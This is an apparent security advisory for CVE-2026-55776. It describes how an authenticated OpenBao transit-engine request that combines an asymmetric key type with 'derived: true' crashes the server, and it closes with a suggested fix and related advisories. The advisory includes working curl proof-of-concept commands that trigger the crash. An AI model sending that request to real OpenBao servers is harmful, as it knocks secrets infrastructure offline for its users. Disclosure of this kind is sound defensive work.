OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
Medium6.5CVE-2026-55776 · Published Jun 19, 2026 · updated Jun 25, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| github.com/openbao/openbao Go | >= 0.1.0, <= 2.5.4 | No fix yet |
| < 0.0.0-20260617104123-db57c62602b2 | 0.0.0-20260617104123-db57c62602b2 |
Details and references
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path. Suggested fix: Validate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-617
- Also known as
- CVE-2026-55776, GO-2026-5267
More openbao advisories
All| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jun 19 | OpenBao: LDAPi ldaputil (wrong escape func) CVE-2026-55770Medium6.8fixed in 0.0.0-20260617104213-10b7825c714c | Medium6.8 | 0.0.0-20260617104213-10b7825c714c |
| Jun 19 | OpenBao: Cross-namespace lease revocation/renewal via canonical sys/leases/{revoke,renew} , incomplete fix of CVE-2026-45808 CVE-2026-55774Lowfixed in 0.0.0-20260617103932-b20b999dd404 | Low | 0.0.0-20260617103932-b20b999dd404 |
| Jun 19 | OpenBao's System Backend allows Unauthorized Management of the containing Namespace CVE-2026-55775Lowfixed in 0.0.0-20260617103935-d3c1cc64b1ae | Low | 0.0.0-20260617103935-d3c1cc64b1ae |
| May 28 | OpenBao's Kerberos Auth Method Accumulates Unaccessible Tokens CVE-2026-46405Medium5.3fixed in 2.5.4 | Medium5.3 | 2.5.4 |
| May 28 | OpenBao's Inline Auth Incorrectly Redacted Headers CVE-2026-46358Mediumfixed in 2.5.4 | Medium | 2.5.4 |
| May 28 | OpenBao's cross-namespace lease revocation via legacy sys/revoke path bypasses ACL CVE-2026-45808Highfixed in 2.5.4 | High | 2.5.4 |